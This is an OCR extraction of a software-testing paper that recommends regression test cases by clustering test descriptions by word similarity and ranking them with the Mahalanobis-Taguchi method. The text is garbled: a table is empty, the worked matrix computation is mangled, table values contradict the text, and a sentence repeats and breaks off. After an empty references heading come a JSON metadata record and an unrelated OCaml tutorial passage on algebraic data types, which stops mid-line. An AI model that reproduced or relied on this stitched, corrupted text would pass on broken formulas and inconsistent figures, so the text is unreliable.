A Test Case Recommendation Method Based on Morphological Analysis, Clustering and the Mahalanobis-Taguchi Method Hirohisa Aman Center for Information Technology Ehime University Matsuyama, Ehime 790-8577, Japan Email: aman@ehime-u.ac.jp Takashi Nakano Hideto Ogasawara Toshiba Corporation Kawasaki, Kanagawa 212-8582, Japan Minoru Kawahara Center for Information Technology Ehime University Matsuyama, Ehime 790-8577, Japan Abstract—This paper focuses on the content of test cases, and categorizes test cases into clusters using the similarity between test cases; their degree of similarity is obtained through a morphological analysis. If there are two similar test cases, they would test the same or similar functionalities in similar but different conditions. Thus, when one of them is run for a regression testing, the remaining one should be run as well, in order to reduce a risk of overlooking regressions. Once a test engineer decides to run a set of test cases, the method proposed in this paper can recommend adding similar test cases to their candidate set. The proposed method also considers the priorities of recommended test cases by using the Mahalanobis-Taguchi method. This paper reports on an empirical study with an industrial software product. The results show that the proposed method is useful to prevent overlooking regressions. I. INTRODUCTION The successful release of a software product requires well-performed testing. Since a product is usually evolved through various upgrades, regression testing plays a significant role at each release of the product. Regression testing is also a costly activity [1] in the software development and maintenance phase—it is especially common in software products embedded in equipment: we have to install an upgraded version of the software into a piece of equipment, and test its behaviors by hand. Thus, to enhance the efficiency of regression testing is a major challenge for all test engineers. When a software product is upgraded, it is not sufficient to test only the modified functions because a code modification may cause an unexpected failure. In other words, any upgrade has a risk of creating a regression. Therefore, it would be useful to test not only the modified functions but also other functions which might be affected by the modification. This means that we need to single out possible test cases from our test case pool, and rerun those test cases as well [1], [2]. In this paper, we propose a novel method for recommending related test cases during a regression testing, and examine its usefulness through an empirical study. The key contributions of this paper are as follows: (1) we leverage a morphological analysis method for a clustering of test cases; (2) we propose a test case recommendation method using the cluster information, in order to reduce the risk of overlooking regressions; (3) the usefulness of the proposed method is examined through an empirical study with an industrial software product. The remainder of this paper is organized as follows: Section II describes studies related to this paper. Section III explains our proposal and Section IV reports on an empirical study. Finally, Section V presents the conclusion of this paper and our future work. II. RELATED WORK When test engineers run test cases as a regression test, there may be the risk of overlooking latent failures. In order to reduce such a risk, it is important to rerun as many test cases as possible. However, there is a limit to our available effort for testing. In this context, the prioritization of test cases is one of the most popular topics in the software testing [1], [2]. Jeffrey et al. [3] and Mirarab et al. [4] focused on the relationship between a test case execution and its corresponding program, and proposed ways of prioritizing test cases through the program slicing analysis or the code coverage analysis. Kim et al. [5] focused on the testing history data rather than the source program, and prioritized test cases by using the notion of the exponentially smoothed moving average. Aman et al. [6], [7] evaluated test cases by using their failure rates in the past and the length of the non-tested version’s sequence, and proposed considering a prioritization of test cases as a 0-1 programming problem. There have also been studies leveraging a clustering algorithm. Sherrif et al. [8] analyzed the change history of source files in order to classify related test cases into a cluster, and proposed prioritizing test cases using that cluster information. Carlson et al. [9] and Leon et al. [10] categorized test cases by using the code coverage data or the execution profiles, and prioritized test cases based on those clusters. While the above studies seem to be useful proposals or reports, they require a linking of test cases to corresponding programs or an accumulation of testing data; if we have little data on test runs, those methods might not work successfully. Thus, we believe that it would also be important to analyze test cases from another perspective other than the test case running. Arafeen et al. [11] proposed performing a clustering of test cases by focusing on the requirement specification of the software product. Although it would be a promising way, we have to make a link between a specification and a test case, and such linking is not easy work. There have also been studies focusing on the text of test cases. Ledru et al. [12] proposed a test case prioritization method using string distance—it incrementally builds the set of test cases to be run by selecting the farthest test case from the set of preceding test cases. While it is a remarkable work to prioritize test cases and may also be utilized for clustering test cases, their method is based on character-level distances, so it evaluates relationships among test cases from a lexicographical perspective. That is to say, it is better to take into account semantical aspects of test cases as well. Thomas et al. [13] leveraged the topic modeling technique to quantify similarities (or distances) between test cases. They extracted “topics” from the set of test cases, and represented the features of test cases as vectors of membership degrees to extracted topics. While the work by Thomas et al. is a noteworthy preceding study, it is a different approach than a test case clustering. From a similar perspective, we will propose another, easier, way of test case clustering by focusing on words of test cases in the following section. III. TEST CASE RECOMMENDATION A. Our Current Condition and Goal At first, we will explain the current condition of our regression testing. For a software product, we have \( n \) test cases, \( t_i \) (for \( i = 1, \ldots, n \)). The product has been evolved through minor upgrades, and the latest version is the \( m \)-th version. For the sake of convenience, we denote the \( j \)-th version by \( v_j \) (for \( j = 1, \ldots, m \)); that is to say, the latest version is \( v_m \). Now, we are about to test \( v_m \) of the product. In other words, the tests for \( v_1, v_2, \ldots, v_{m-1} \) are already finished, and we have the results (the test history) like those shown in Table I. In the table, symbols “P” and “F” show that the result of the corresponding test case’s run at the corresponding version was “Pass” and “Fail,” respectively; the symbol “—” signifies the corresponding test case was not executed at the corresponding version. Since we are about to test at \( v_m \), the cells in the column of \( v_m \) are not decided: they are denoted by “?”. Next, we describe our goal in this study. <table> <thead> <tr> <th>( t_1 )</th> <th>( t_2 )</th> <th>( t_3 )</th> <th>( t_m )</th> </tr> </thead> <tbody> <tr> <td>( v_1 )</td> <td>( P )</td> <td>( F )</td> <td>( F )</td> </tr> <tr> <td>( v_2 )</td> <td>( P )</td> <td>( F )</td> <td>( F )</td> </tr> <tr> <td>( v_3 )</td> <td>( F )</td> <td>( P )</td> <td>( — )</td> </tr> <tr> <td>( \vdots )</td> <td>( \vdots )</td> <td>( \vdots )</td> <td>( \vdots )</td> </tr> <tr> <td>( t_n )</td> <td>( — )</td> <td>( P )</td> <td>( — )</td> </tr> </tbody> </table> (P: Pass; F: Fail; —: No run; ?: to be decided) TABLE I FORMATT OF OUR TEST HISTORY DATA. Test engineers usually decide which test cases they rerun, based on their knowledge in regard to the upgraded functions and the past records of testing. We do not criticize such a decision for regression testing. Since they would have specific knowledge and experience in testing their software products, it would be a practical way of making a decision. However, there is a risk of overlooking something because test engineers are also human beings. Thus, our aim is to automatically recommend appropriate test cases to reduce such a risk. That is to say, once a test engineer has decided to run a set of test cases, our method recommends adding other test cases to their candidate set if there are any that are appropriate (see Fig. 1). B. Similarity between Test Cases In general, test engineers prepare many test cases and run them to test the functionalities of their software product. In those test cases, there may be ones that are similar to each other. For example, suppose we want to test two different functions, A and B, under a certain condition, and have two test cases \( t_{AB} \) and \( t_{BA} \); while \( t_{AB} \) executes in the order (A, B), \( t_{BA} \) does in the opposite order (B, A). In such a case, the contents of \( t_{AB} \) and that of \( t_{BA} \) would be similar. However, since they are not identical, we should not skip over either \( t_{AB} \) or \( t_{BA} \); we have to run both of them. Some test engineers might run only \( t_{AB} \), and overlook a failure which would have been detected by \( t_{BA} \). In this paper, we focus on the similarity of the contents between test cases. Using a morphological analysis, we evaluate their similarity. Then, when a test case is run, we consider whether to recommend running similar test cases as well. We describe a quantification of the similarity between test cases in the remainder of this subsection. 1) A morphological analysis of a test case: For each test case, we prepare a plain text file describing the content of the test case. Then, we apply a morphological analysis tool to the file, and extract words written in each test case and their parts of speech. Since our (the authors’) test cases are written in Japanese, we use MeCab\(^1\) which is the most popular morphological analysis tool for Japanese, as the tool. \(^{1}\)http://taku910.github.io/mecab/ 2) A set of words of interest: In accordance with many cases of natural language processing, we focus only on a few parts of speech in this study—nouns, adjectives and verbs. Then, we form the set of words (nouns, adjectives and verbs) appearing in each test case. For the sake of convenience, let \( W_i \) be the set of words of test case \( t_i \). 3) A similarity computation: We define the similarity between test cases \( t_i \) and \( t_j \) by the following Jaccard index [14], \( J(t_i, t_j) \): \[ J(t_i, t_j) = \frac{|W_i \cap W_j|}{|W_i \cup W_j|}. \] (1) The Jaccard index shows how many words are common to two documents (test cases). If their word sets are the same, the Jaccard index is 1; if their word sets have no intersection, the index is 0. \[ \square \] Let us consider a simple example. Suppose we have three test cases \( t_1 \), \( t_2 \) and \( t_3 \): their word sets \( W_1 \), \( W_2 \) and \( W_3 \) are shown in Table II. <table> <thead> <tr> <th>test case id</th> <th>distance</th> <th>hclust (*, &quot;complete&quot;)</th> </tr> </thead> </table> Then, we obtain the followings: - \( W_1 \cup W_2 = \{ \text{account, button, chronological, click, configuration, date, display, download, file, log, order, password, reset, user} \} \) and \( W_1 \cap W_2 = \{ \text{button, click, file} \} \); \( |W_1 \cup W_2| = 14 \) and \( |W_1 \cap W_2| = 3 \). - \( W_1 \cup W_3 = \{ \text{archive, button, click, check, chronological, date, display, download, file, order, log} \} \) and \( W_1 \cap W_3 = \{ \text{button, click, chronological, date, download, file, order} \} \); \( |W_1 \cup W_3| = 11 \) and \( |W_1 \cap W_3| = 7 \). - \( W_2 \cup W_3 = \{ \text{account, archive, button, click, chronological, configuration, date, download, file, order, password, reset, user} \} \) and \( W_2 \cap W_3 = \{ \text{button, click, file} \} \); \( |W_2 \cup W_3| = 13 \) and \( |W_2 \cap W_3| = 3 \). Therefore, their similarities are as follows: - \( J(t_1, t_2) = 3/14 \approx 0.214; \) - \( J(t_1, t_3) = 7/11 \approx 0.636; \) - \( J(t_2, t_3) = 3/13 \approx 0.231. \) \[ \square \] C. Clustering Test Cases Next, we categorize test cases into clusters by using the similarity between test cases discussed above. By clustering similar test cases, we can narrow down a set of candidate test cases to be recommended for regression testing; when a test case \( t \) is rerun as a regression test, we may recommend running similar test cases as well, from the cluster which \( t \) belongs to. In order to perform a clustering algorithm for test cases, we have to define a “distance” between test cases. In this paper, we will consider a more similar pair of test cases to be a closer pair. Thus, we define the distance between two test cases \( t_i \) and \( t_j \), \( d(t_i, t_j) \), as: \[ d(t_i, t_j) = 1 - J(t_i, t_j). \] (2) d\((t_i, t_j)\) is called Jaccard distance. While there are also other distance functions (other than Jaccard distance), we will use it because it is easy-to-implement and widely known in the natural language processing world. Once a distance between test cases is defined, we can apply a clustering algorithm to a set of test cases. In this study, we adopt the complete linkage method as our clustering method, which is one of the most popular clustering methods, because of its ease of implementation. A popular open source statistical computing environment R\(^2\) provides function hclust which performs a hierarchical cluster analysis with the complete linkage method. We can obtain a tree diagram (dendrogram) like one shown in Fig. 2. Then, we can get cluster data by setting its “cut level,” which is the threshold of distance between test cases, to decide if those test cases belong to the same cluster or not. We empirically set 0.3 as the cut level in this study. D. Prioritizing Test Cases by Mahalanobis-Taguchi Method While the above clustering method can form a set of test cases that are recommended to be rerun, we also have to decide the order of their rerunning. \[ \square \] \(^2\)https://www.r-project.org/ We have used the following two criteria for evaluating test cases in the past [7]: - Gap between the Last-run version and the Current version (GLC): GLC(t) is the number of consecutive versions in which test case \( t \) was not run until the current version. A higher GLC value means that the test case has not been tested for a longer time. Thus, there is a higher risk of overlooking a regression. - Failure Rate (FR): FR(\( t \)) is the failure rate of test case \( t \). That is to say, it is the number of versions failed by \( t \), divided by the number of versions at which \( t \) was run. A test case with a higher FR value has a better track record of detecting failures. Thus, it seems to have a higher worth to be rerun. In order to consistently integrate different evaluations of a test case by the above criteria, we have leveraged the Mahalanobis-Taguchi method [7], [15]. In the remaining part of this subsection, we briefly describe how to prioritize test cases by using the Mahalanobis-Taguchi method (see [7] for more detail). Suppose a feature of an object is expressed by \( n \)-dimensional vector \( x \), and similar objects form a set (group) in the vector space. Let \( \bar{x} \) be the mean vector of the feature vectors belonging to a group, and let \( S \) be the variance-covariance matrix of them. Then, the following \( d_M(x, \bar{x}) \) is known as the “Mahalanobis distance” between \( x \) and \( \bar{x} \): \[ d_M(x, \bar{x}) = \sqrt{(x - \bar{x})^T S^{-1} (x - \bar{x})}. \tag{3} \] In the simple one-dimensional case, it is: \[ d_M(x, \bar{x}) = \sqrt{(x - \bar{x}) \frac{1}{\sigma^2} (x - \bar{x})} = \frac{|x - \bar{x}|}{\sigma}, \tag{4} \] where \( \sigma \) is the standard deviation; \( \sigma^2 \) is the variance. That is to say, the Mahalanobis distance can be interpreted as the “Euclidean distance” normalized by the data dispersion. A larger Mahalanobis distance means that \( x \) has loss of a membership in the group. The Mahalanobis-Taguchi method computes the Mahalanobis distance from the center of objects which are working normally, and uses the distance as the evaluation of the abnormality; it is a well-known quality control method (see Fig. 3). Based on the notion of the Mahalanobis-Taguchi method, we have proposed to evaluate the rerunning value of a test case by using the Mahalanobis distance from the least valuable test case such that both of its GLC value and FR value are zero [7]. Table III shows a simple example of 4 test cases \( t_1, \ldots, t_4 \) and 6 versions \( v_1, \ldots, v_6 \): we are able to test the product at \( v_6 \). The GLC values and FR values of \( t_1, \ldots, t_4 \) are also given in the table. For example, since the last-run version of \( t_1 \) is \( v_1 \), its GLC value is 5 (= 6 − 1); \( t_3 \) was run 3 times and it failed once (at \( v_1 \)), thus its FR value is \( 1/3 \approx 0.33 \). Since the covariance of GLC and FR is \(-0.389\), and the variances of GLC and FR are 3 and 0.056, respectively, we have the following variance-covariance matrix \( S \): \[ S = \begin{bmatrix} 3 & -0.389 \\ -0.389 & 0.056 \end{bmatrix}. \] Then, we can obtain its inverse matrix \( S^{-1} \): \[ S^{-1} = \begin{bmatrix} 3.36 & 23.32 \\ 23.32 & 179.87 \end{bmatrix}. \] Therefore, we can compute the rerunning value of \( t_1 \) with Eq.(3) as \[ \sqrt{\begin{bmatrix} 5 & 0 & 0 & 0 \\ 0 & 23.32 & 179.87 \end{bmatrix} \begin{bmatrix} 3.36 \\ 23.32 \\ 179.87 \end{bmatrix} \begin{bmatrix} 5 \\ 0 \\ 0 \end{bmatrix}} \approx 9.16. \] Similarly, we can get the rerunning values of \( t_2, t_3 \) and \( t_4 \). The computation results are shown in “value” column of Table III. ### E. Recommendation Procedure Now, we suppose that a test engineer decides to rerun some test cases as a regression test on a version of a software product. Let \( R_0 \) be the set of those test cases. Then, we propose the following method for recommending other test cases in order to prevent an overlooking of regressions; let \( R_1 \) be the set of those recommended test cases \( (R_0 \cap R_1 = \emptyset) \): 1. We classify test cases into clusters by using the similarity of test case descriptions (see Sections III-B, III-C). 2. Let \( R_1 = \emptyset \). Then, we iterate the following operation for each \( t \in R_0 \): \[ R_1 \leftarrow R_1 \cup \{ C(t) \setminus R_0 \}, \text{ where } C(t) \text{ is the cluster to which } t \text{ belongs, and } "\setminus" \text{ signifies the operator to obtain the difference set}^3. \] --- 3. \( x \in A \setminus B \iff x \in A \land x \notin B \). ### TABLE III <table> <thead> <tr> <th>( v_1 )</th> <th>( v_2 )</th> <th>( v_3 )</th> <th>( v_4 )</th> <th>( v_5 )</th> <th>( v_6 )</th> <th>GLC</th> <th>FR</th> <th>value</th> </tr> </thead> <tbody> <tr> <td>F</td> <td>—</td> <td>—</td> <td>—</td> <td>—</td> <td>—</td> <td>4</td> <td>0.00</td> <td>9.16</td> </tr> <tr> <td>F</td> <td>—</td> <td>P</td> <td>P</td> <td>F</td> <td>P</td> <td>1</td> <td>0.50</td> <td>8.46</td> </tr> <tr> <td>F</td> <td>P</td> <td>—</td> <td>P</td> <td>—</td> <td>?</td> <td>2</td> <td>0.33</td> <td>8.03</td> </tr> <tr> <td>F</td> <td>P</td> <td>F</td> <td>P</td> <td>—</td> <td>?</td> <td>2</td> <td>0.50</td> <td>10.25</td> </tr> </tbody> </table> (P: Pass; F: Fail; —: No run; ?: to be decided) 3) For each \( t \in R_1 \), we collect its GLC value and its FR value from its test history, then compute its rerunning value (the Mahalanobis distance from the least valuable case: \( \text{GLC} = \text{FR} = 0 \)) (see Section III-D). 4) We recommend \( t \in R_1 \) in descending order of the rerunning value, except for the ones whose values are zero. \[ \square \] IV. EMPIRICAL STUDY A. Aim and Dataset The aim of this empirical study is to show the usefulness of the proposed method, by using the regression testing data on an actual software product. In this study, our experimental subjects are 300 (= n) test cases for a software product (a Web-based information system) that has been maintained by two of the authors. All test cases are written in Japanese (natural language)\(^4\). Thirteen (13(= m)) versions of the product have been tested by those 300 test cases—for the sake of convenience, we denote these versions by \( v_1, v_2, \ldots, v_{13} \) in chronological order. Since it is past test data, a follow-up investigation of regressions is already finished. According to the results of the follow-up investigation, there were regressions when the product was upgraded from \( v_6 \) to \( v_7 \). However, regression testing (rerunning test cases) missed those failures. We try to detect those overlooked failures with the test cases which are recommended by the proposed method. B. Procedure This empirical study is conducted in accordance with the following procedure: 1) We perform a morphological analysis on each of the 300 test cases. Then, for each combination of test cases, we compute the distance between them based on their similarity, with Eqs. (1), (2). Using those distances, we classify the test cases into clusters. In the clustering algorithm, we empirically set 0.3 as the cut level. 2) We iterate the following for each version \( v_j \) for \( j = 1, 2, \ldots, 13 \): a) Let \( R_0 \) be the set of test cases which were run at \( v_j \). b) We create the set of recommended test cases, \( R_1 \), according to the procedure described in Section III-E. c) We recommend test cases belong to \( R_1 \) in descending order of their rerunning values which are computed by the Mahalanobis-Taguchi method. d) We examine if the recommended test cases can detect a regression. C. Results and Discussions Table IV shows the results of test case recommendation at each version: \[^4\text{Since the contents of test cases are confidential, we will omit details of them and avoid giving examples in this paper.}\] \[\] \[\begin{array}{|c|c|c|c|} \hline \text{Version} & \#\text{run} & \#\text{recommended} & \#\text{defects} \hline v_2 & 160 & 13 & 0 \\ v_3 & 17 & 16 & 0 \\ v_4 & 27 & 0 & 0 \\ v_5 & 10 & 1 & 0 \\ v_6 & 5 & 5 & 0 \\ v_7 & 7 & 15 & 0 \\ v_8 & 2 & 0 & 0 \\ v_9 & 5 & 1 & 0 \\ v_{10} & 9 & 4 & 2 \\ v_{11} & 13 & 1 & 0 \\ v_{12} & 6 & 5 & 2 \\ v_{13} & 3 & 1 & 0 \\ \hline \end{array}\] Table IV shows interesting results. At \( v_7 \) which is soon after the introduction of latent faults (regressions), only 7 test cases were rerun (see \( v_7 \) row, \#run column in Table IV). However, the proposed method recommends 15 test cases to rerun in addition to those 7, and 6 out of the newly recommended 15 test cases succeed in detecting regressions. It is a remarkable point that the proposed method recommends more than two times as many test cases as the number actually run (15 vs. 7). That is to say, the original regression testing plan at \( v_7 \) seemed to be insufficient, and it caused an overlooking of regressions. We consider the effectiveness of the proposed method to detect regressions at \( v_7 \) as well. The proposed method recommended 15 test cases at \( v_7 \), and 6 out of them found regressions. If we randomly selected 15 test cases (except for those 7 test cases which were already selected) at \( v_7 \), the expected number of test cases which succeed to detect regressions is about 1.13. Thus, the proposed method could be about six times more effective than the random selection. Figure 4 shows the ratio of the recommended test cases to the run test cases (\( |R_1|/|R_0| \)). After the occurrence of latent regressions, the proposed method succeeds in finding a regression when the ratio is relatively high. From these results, we can expect that our recommendation method based on the similarity between test cases’ descriptions is useful to prevent overlooking regressions. When a test case’s description is similar to another’s description, those two test cases would test similar functions or related functions. in partially different conditions. In such a case, it would be insufficient to run only one of them; by skipping a run of the remaining test case, we might overlook a regression. This empirical study would show such a case of oversight. Next, we consider the usefulness of prioritizing test cases within the recommended test case set ($R_1$). As shown in Table IV, 15 test cases are recommended at $v_7$. Table V shows the results of prioritizing those 15 test cases in descending order of the rerunning value (the Mahalanobis distance from the least valuable case). In the table, test cases’ names are relabeled by the order; the “detecting defect” column shows if the corresponding test case succeeds in detecting a regression. Since all of the successful test cases are ranked in the upper half, our prioritization leveraging the Mahalanobis-Taguchi method seems to work successfully. Meanwhile, there might be a case that the proposed method recommends too many test cases to run. In such a situation, we have to single some test cases out from the recommendation set. The simplest way is the greedy method in which we have to single some test cases out from the recommendation set. The simplest way is the greedy method in which we ![Graph showing ratio of recommended to run test cases] **TABLE V** <table> <thead> <tr> <th>Test case</th> <th>rerunning value (Mahalanobis distance)</th> <th>detecting defect</th> </tr> </thead> <tbody> <tr> <td>$t_{x1}$</td> <td>8.21</td> <td>Yes</td> </tr> <tr> <td>$t_{x2}$</td> <td>8.21</td> <td>No</td> </tr> <tr> <td>$t_{x3}$</td> <td>8.21</td> <td>Yes</td> </tr> <tr> <td>$t_{x4}$</td> <td>8.21</td> <td>No</td> </tr> <tr> <td>$t_{x5}$</td> <td>8.21</td> <td>Yes</td> </tr> <tr> <td>$t_{x6}$</td> <td>8.21</td> <td>Yes</td> </tr> <tr> <td>$t_{x7}$</td> <td>8.21</td> <td>Yes</td> </tr> <tr> <td>$t_{x8}$</td> <td>8.21</td> <td>Yes</td> </tr> <tr> <td>$t_{x9}$</td> <td>8.21</td> <td>No</td> </tr> <tr> <td>$t_{x10}$</td> <td>6.57</td> <td>No</td> </tr> <tr> <td>$t_{x11}$</td> <td>6.57</td> <td>No</td> </tr> <tr> <td>$t_{x12}$</td> <td>6.57</td> <td>No</td> </tr> <tr> <td>$t_{x13}$</td> <td>6.57</td> <td>No</td> </tr> <tr> <td>$t_{x14}$</td> <td>6.57</td> <td>No</td> </tr> <tr> <td>$t_{x15}$</td> <td>6.57</td> <td>No</td> </tr> </tbody> </table> **TABLE VI** <table> <thead> <tr> <th>cut level</th> <th>#recommended</th> <th>#defects</th> <th>detection rate</th> </tr> </thead> <tbody> <tr> <td>0.1</td> <td>4</td> <td>0</td> <td>0</td> </tr> <tr> <td>0.2</td> <td>6</td> <td>0</td> <td>0</td> </tr> <tr> <td>0.3</td> <td>15</td> <td>6</td> <td>0.400</td> </tr> <tr> <td>0.4</td> <td>28</td> <td>8</td> <td>0.286</td> </tr> <tr> <td>0.5</td> <td>27</td> <td>8</td> <td>0.296</td> </tr> <tr> <td>0.6</td> <td>40</td> <td>10</td> <td>0.260</td> </tr> <tr> <td>0.7</td> <td>59</td> <td>12</td> <td>0.203</td> </tr> <tr> <td>0.8</td> <td>66</td> <td>12</td> <td>0.182</td> </tr> <tr> <td>0.9</td> <td>116</td> <td>22</td> <td>0.190</td> </tr> </tbody> </table> Finally, we discuss the “cut level” at our clustering in this empirical work. While we set 0.3 as the cut level based on experience, another cut level would produce another result. For version $v_7$, we examined all cut levels from 0.1 to 0.9 with 0.1 increases. Table VI shows the results: the number of recommended test cases (#recommended), the number of recommended test cases which can detect a defect (#defects) and the detection rate (= #defects / #recommended) for each cut level. Needless to say, a higher cut level produces larger clusters, thus more test cases are recommended, and more regressions (defects) are also detected. While the cut level that we empirically used (0.3) showed the best detection rate in these candidates, it does not succeed to detect all overlooked regressions. Thus, another cut level may be the best in another context. A further analysis of cut level is our significant future work. ### D. Threats to Validity Our findings may be subject to the following concerns. Since our study covers a part of regression testing for a single product, we cannot say our results are generalizable. However, we believe this study could contribute to stir up a utilization of the morphological analysis in the regression testing world. Since the test cases that we used in our empirical work are written in a natural language, there might be a variety of vocabulary. That is to say, different engineers might use different words to describe the same thing in their test cases, and they could cause incorrect evaluations of similarities... among test cases. In order to avoid such a variety, we need to prepare a common dictionary of terms (words). Alternatively, it would be better to perform a data preprocessing to link a word with another word which has the same meaning. A further analysis of vocabulary in test cases is our future work. The cut level, a parameter of test case clustering, plays an important role in our proposal. As mentioned above, another cut level can produce another performance in recommending test cases. While we set 0.3 as the cut level based on experience, our experience might not work well for another data set: if we use another set of test cases which are prepared by other engineers of another organization, we would have to reexamine the cut level. We plan to perform a further analysis of cut level and seek a better way of deciding an appropriate cut level in the future. V. Conclusion We focused on the content of test cases, and evaluated the similarity between test cases through a morphological analysis. Based on those similarities, we categorized test cases into clusters. Then, we proposed a cluster-based method with which to recommend test cases for the regression testing—once a test case is selected for a regression testing, the proposed method recommends other test cases which should also be run in order to reduce the risk of overlooking regressions (failures). The proposed method also leveraged the Mahalanobis-Taguchi method for prioritizing test cases within the recommendation set of test cases. We conducted an empirical study with a real product, and the results showed that the proposed method successfully recommended test cases which found latent regressions. The Mahalanobis-Taguchi method also worked well for prioritizing test cases. Moreover, we saw the following finding: if more test cases are recommended by the proposed method at a version, there may be a higher risk of overlooking regressions at that version. Thus, the proposed method would be helpful in evaluating a test plan as well. Our future work includes the following: (1) to apply the proposed method to other products for the purpose of examining its generality; (2) to perform further analyses on the parameter of the clustering algorithm and on the features of test cases from the perspective of the natural language analysis. REFERENCES
{"Source-Url": "http://se.cite.ehime-u.ac.jp/~aman/pdf/TAIC_PART2017.pdf", "len_cl100k_base": 8560, "olmocr-version": "0.1.53", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 29745, "total-output-tokens": 9758, "length": "2e13", "weborganizer": {"__label__adult": 0.00032067298889160156, "__label__art_design": 0.0003314018249511719, "__label__crime_law": 0.00030612945556640625, "__label__education_jobs": 0.001361846923828125, "__label__entertainment": 5.9664249420166016e-05, "__label__fashion_beauty": 0.0001633167266845703, "__label__finance_business": 0.00022983551025390625, "__label__food_dining": 0.0002582073211669922, "__label__games": 0.0006322860717773438, "__label__hardware": 0.0007314682006835938, "__label__health": 0.0003979206085205078, "__label__history": 0.00018477439880371096, "__label__home_hobbies": 7.95125961303711e-05, "__label__industrial": 0.00026869773864746094, "__label__literature": 0.00033473968505859375, "__label__politics": 0.00017392635345458984, "__label__religion": 0.0003237724304199219, "__label__science_tech": 0.01548004150390625, "__label__social_life": 9.28640365600586e-05, "__label__software": 0.00858306884765625, "__label__software_dev": 0.96923828125, "__label__sports_fitness": 0.00021207332611083984, "__label__transportation": 0.0002639293670654297, "__label__travel": 0.0001443624496459961}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 34432, 0.04548]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 34432, 0.29843]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 34432, 0.89575]], "google_gemma-3-12b-it_contains_pii": [[0, 4984, false], [4984, 10461, null], [10461, 14552, null], [14552, 19541, null], [19541, 24186, null], [24186, 28975, null], [28975, 34432, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4984, true], [4984, 10461, null], [10461, 14552, null], [14552, 19541, null], [19541, 24186, null], [24186, 28975, null], [28975, 34432, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 34432, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 34432, null]], "pdf_page_numbers": [[0, 4984, 1], [4984, 10461, 2], [10461, 14552, 3], [14552, 19541, 4], [19541, 24186, 5], [24186, 28975, 6], [28975, 34432, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 34432, 0.18376]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
eb9f202afa887cf0771525dd0847e1db847ff741
1 Introduction Every general-purpose programming language must allow the processing of values with different structure that are nevertheless considered to have the same “type”. For example, in the processing of simple geometric figures, we want a notion of a “figure type” that includes circles with a radius, rectangles with a width and height, and triangles with three sides. Abstractly, figure values might be depicted as shown below: ``` Circle 1.0 Rect 2.0 3.0 Tri 4.0 5.0 6.0 ``` The name in the oval is a tag that indicates which kind of figure the value is, and the branches leading down from the oval indicate the components of the value. Such types are known as sum-of-product data types because they consist of a sum of tagged types, each of which holds on to a product of components. They are also known as algebraic data types. In OCAML we can declare a new figure type that represents these sorts of geometric figures as follows: ``` type figure = Circ of float (* radius *) | Rect of float * float (* width, height *) | Tri of float * float * float (* side1, side2, side3 *) ``` Such a declaration is known as a data type declaration. It consists of a series of |-separated clauses of the form ``` constructor-name of component-types, ``` where constructor-name must be capitalized. The names Circ, Rect, and Tri are called the constructors of the figure type. Each serves as a function-like entity that turns components of the appropriate type into a value of type figure. For example, we can make a list of the three figures depicted above: ``` # let figs = [Circ 1.; Rect (2.,3.); Tri(4.,5.,6.)];; (* List of sample figures *) val figs : figure list = [Circ 1.; Rect (2., 3.); Tri (4., 5., 6.)] ``` It turns out that constructors are not functions and cannot be manipulated in a first-class way. For example, we cannot write ``` List.map Circ [7.;8.;9.] (* Does not work, since Circ is not a function *) ``` However, we can always embed a constructor in a function when we need to. For example, the following does work: ``` List.map (fun r -> Circ r) [7.;8.;9.] (* This works *) ``` We manipulate a value of the \texttt{figure} type by using the Ocaml \texttt{match} construct to perform a case analysis on the value and name its components. For example, Fig. 1 shows how to calculate figure perimeters and scale figures. Using data type declarations, we can create user-defined versions of some of the built-in Ocaml types that we have been using. For instance, here is a definition of the \texttt{option} type: \begin{verbatim} # type 'a option = None | Some of 'a;; val None : 'a option val Some : 'a -> 'a option # Some 3;; - : int option = Some 3 # Some true;; - : bool option = Some true \end{verbatim} This is an example of a parameterized data type declaration in which the \texttt{'a} can be instantiated to any type. \texttt{option} is an example of a \texttt{type constructor}. \begin{verbatim} # None;; - : 'a option = None # Some 3;; - : int option = Some 3 # Some true;; - : bool option = Some true \end{verbatim} We can even construct our own version of a list type (though it won’t support the infix :: operator or the square-bracket list syntax): \begin{verbatim} # type 'a myList = Nil | Cons of 'a * 'a myList;; type 'a myList = Nil | Cons of 'a * 'a myList # Nil;; - : 'a myList = Nil # Cons 3 Nil;; - : int myList # Cons true Nil;; - : bool myList \end{verbatim} Note that lists are a recursive data type. Data types are implicitly recursive without the need for any keyword like \texttt{rec}. Here are our lists in action: Figure 1: Manipulations of \texttt{figure} values. # let ns = Cons(1, Cons(2, Cons(3, Nil)));; val ns : int myList = Cons (1, Cons (2, Cons (3, Nil))) # let bs = Cons('a', Cons('b', Cons('c', Nil)));; val bs : char myList = Cons ('a', Cons ('b', Cons ('c', Nil))) # let ss = Cons("d", Cons("n", Cons("t", Nil)));; val ss : string myList = Cons ("d", Cons ("n", Cons ("t", Nil))) # let rec map f xs = match xs with | Nil -> Nil | Cons(x, xs') -> Cons(f x, map f xs');; val map : ('a -> 'b) -> 'a myList -> 'b myList = <fun> # map ((+) 1) ns;; - : int myList = Cons (2, Cons (3, Cons (4, Nil))) # map ((^) "a") 